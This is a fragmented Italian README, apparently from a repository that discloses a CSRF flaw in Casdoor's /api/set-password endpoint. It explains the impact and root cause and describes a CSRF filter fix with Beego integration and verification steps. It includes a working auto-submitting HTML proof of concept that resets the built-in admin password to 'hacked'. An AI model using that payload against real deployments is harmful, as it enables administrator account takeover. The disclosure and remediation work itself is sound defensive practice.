
Sommario
/api/set-password che consente di modificare la password senza consenso.Impatto
built-in/admin), portando al furto dell'account.Prerequisiti dell'attacco
casdoor_session_id valido./api/set-password.Proof of Concept
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
Causa principale
/api/* accettano richieste autenticate tramite cookie senza applicare controlli di same-origin (Origin/Referer) o token CSRF.Panoramica della correzione
/api/*.Authorization, Basic auth, credenziali client o accessToken) o le richieste senza cookie di sessione del browser (tipiche chiamate server-to-server).Implementazione
routers.CSRFFilter implementato in csrf_filter.go. Questo filtro:
Come integrare in Casdoor
csrf_filter.go nel pacchetto routers esistente del progetto Casdoor. Non modificare o eliminare nulla in questo file.main):
// Beego v1 style
beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
Verifica
Unauthorized operation e il server dovrebbe registrare CSRF check failed.Authorization o parametri accessToken dovrebbero continuare a funzionare.File del repository
csrf_filter.go: filtro CSRF da copiare nel pacchetto routers di Casdoor.poc.html: pagina minimale che riproduce l'attacco CSRF.README.md: questo documento che descrive la vulnerabilità e i passaggi di correzione.Riferimenti
Video